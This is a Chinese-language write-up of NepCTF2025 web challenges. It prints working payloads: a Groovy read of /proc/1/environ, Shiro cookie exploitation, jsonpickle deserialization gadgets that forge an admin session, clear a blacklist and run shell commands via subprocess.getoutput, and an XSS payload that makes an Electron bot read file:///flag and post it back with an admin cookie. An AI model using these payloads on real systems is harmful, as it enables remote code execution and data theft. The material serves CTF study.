nepctf
NepCTF2025
web
easyGooGooVVVY RevengeGooGooVVVY
通过尝试发现目标环境对Groovy表达式进行了严格限制,具体表现为:
- 不允许在[java.nio.file.Files]上调用方法
- 不允许在[java.lang.Class]上调用方法
- 不允许在[java.io.BufferedReader]上调用方法
- 不允许在String上调用execute()
- 不允许在[java.io.File]上进行属性访问(如.text)
def s = new StringBuilder(); def is = new FileInputStream('/proc/1/environ'); int b; while((b=is.read())!=-1) s.append((char)b); s.toString()
JavaSeri
抓包发现回显有rememberMe参数,判断为shiro框架
ShiroAttack2工具一把梭
注意在Java JDK 1.8下运行,其他版本会报错
Safe_bank
先注册登录进去,然后发现需要管理员权限,也就是需要登录admin账号,抓包看cookie,base64解码出来{"py/object": "__main__.Session", "meta": {"user": "xianxin", "ts": 1753621834}}
直接修改为admin,发现可以直接访问数据库,不过是假flag(果然没这么简单)
去关于我们里面看见是利用jsonpickle,搜索相关文章,找到从源码看JsonPickle反序列化利用与绕WAF
发现可以操控user下的值实现回显,尝试payload,大部分都被禁用,只有这两个个漏网之鱼
列目录:{'py/object': 'glob.glob', 'py/newargs': {'/*'}}{'py/object': 'os.listdir', 'py/newargs': ['/']}
读文件:{'py/object': 'linecache.getlines', 'py/newargs': ['/flag']}
不过传入后还是没有回显,原因如下
JSON 的字符串中,字符串的引号必须用单引号,内部的键值必须用双引号
1
2
3
4
5
6 >import json
>str = '{"a": 123, "b": "456"}'
>str = json.loads(str)
>print(str)
>{'a': 123, 'b': '456'}如果是 python 的 JSON 格式(字典格式),字符串的引号必须用单引号,内部的键不做要求,但值必须用双引号
1
2
3
4
5 >tmp_json = {}
>body = '{\n\t"general": {\n\t\t"browse_mode": 2\n\t}\n}'
>tmp_json.update({"body": body}) # 也可以 tmp_json.update({'body': body})
>print(tmp_json)
>{'body': '{\n\t"general": {\n\t\t"browse_mode": 2\n\t}\n}'}如果是 JavaScript 的对象,其键可以用单引号、双引号,甚至不加引号,但页面显示双引号;其值可以用单引号或双引号,但在加了引号的情况下,页面显示是双引号
也就是说我们要用双引号进行传入{"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargs": {'/*'}},"ts":1753446854}}
还是没有回显
去查一下jsonpickle源码
主要看unpickler.py
这里有两种标签newargs与newargsex
py/newargs只包含位置参数(一个列表或元组)py/newargsex包含位置参数和关键字参数(一个元组,第一个元素是位置参数列表,第二个元素是关键字参数字典)
两个标签处理的对象存在差别,py/newargs是给实现了__new__的对象用的。而我们的py/newargsex是给没实现__new__的old-style class用的
这里都尝试一下,发现需要用py/newargsex才能打通{"py/object": "__main__.Session", "meta": {"user":{"py/object": "glob.glob","py/newargsex":[["/*"],{}]},"ts":1753446254}}
成功得到回显['/run', '/bin', '/usr', '/etc', '/mnt', '/home', '/var', '/srv', '/sys', '/proc', '/sbin', '/lib64', '/media', '/opt', '/lib', '/dev', '/tmp', '/boot', '/root', '/flag', '/entrypoint.sh', '/readflag', '/app']
发现需要RCE才能readflag
尝试另外一个payload读取源码{"py/object": "__main__.Session", "meta": {"user":{"py/object": "linecache.getlines","py/newargsex":[["/app/app.py"],{}]},"ts":1753446254}}
1 | from flask import Flask, request, make_response, render_template, redirect, url_for |
这里黑名单太过恐怖,不过可以利用list.clear()清空黑名单{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}
然后就可以RCE了,参考上面文章的payload{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["mkdir static"]},"ts":1753446254}}{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag > /static/1.txt"]},"ts":1753446254}}
然后读flag即可{"py/object": "__main__.Session", "meta": {"user":{"py/object": "linecache.getlines","py/newargsex":[["/static/1.txt"],{}]},"ts":1753446254}}
fakeXSS
该题给了一个exe文件,可以安装客户端,这里用7z对该exe文件进行解包,然后找到app.asar文件放到解包工具winAsar拿到源码
index.html
1 | <!DOCTYPE html> |
main.js
1 | const { app, BrowserWindow, ipcMain } = require('electron'); |
package.json
1 | { |
preload.js
1 | const { contextBridge, ipcRenderer } = require('electron'); |
然后我们去看一看网页端,这里upload接口抓包
发现为腾讯云COS,找AI搓了个脚本
这里面的存储桶地域和存储桶名称通过解码抓包数据中的auth获得
1 | from qcloud_cos import CosConfig |
这里在最后找到www/flag.txt
通过url下载下来发现还是假flaghttps://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/flag.txtfake{看看www/server_bak.js对象}
提示要下载www/server_bak.jshttps://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/server_bak.js
1 | const express = require('express'); |
首先看到看到管理员密码nepn3pctf-game2025,可以登录admin账号了,也就是可以设置登录页面背景,这里重点看设置登录页面背景路由下的这一段代码
1 | // 设置登录页面背景 |
以及登录页面路由下的这一段代码
1 | // 登录页面 |
可以注意到这里fileUrl直接拼接进了代码里面,如果能通过设置登录页面背景路由传入恶意数据通过引号闭合代码,即可达成xss
这里bot本身并没有带flag,但是其是通过客户端登录进行访问的,前面解包客户端源代码有这样一段curl接口
1 | ipcMain.handle('curl', async (event, url) => { |
而原生curl是可以进行file协议读取的,这里利用bot调用electronAPI的curl接口进行文件读取,
不出网,借助/api/save-bio回显,让bot带着admin的cookie把flag的内容搞到admin的bio
paylaod如下{"key":"x\" onload=\"window.electronAPI.curl('file:///flag').then(data=>{fetch('http://127.0.0.1:3000/api/save-bio,{method:'POST',headers:{'Content-Type':'application/json','Cookie':'connect.sid=s%3AoUBBMSHFzxv_b9f-yyL1SjXXB0JSe8xp.%2FyM1LGMWW2X8fEuFXtDJTg%2Ffebh93oEUjV8ZJhniWlw'},body:JSON.stringify({'bio':data})}}\" x=\""}
拼接后在前端效果如下
这里触发bot访问,然后即可拿到flag
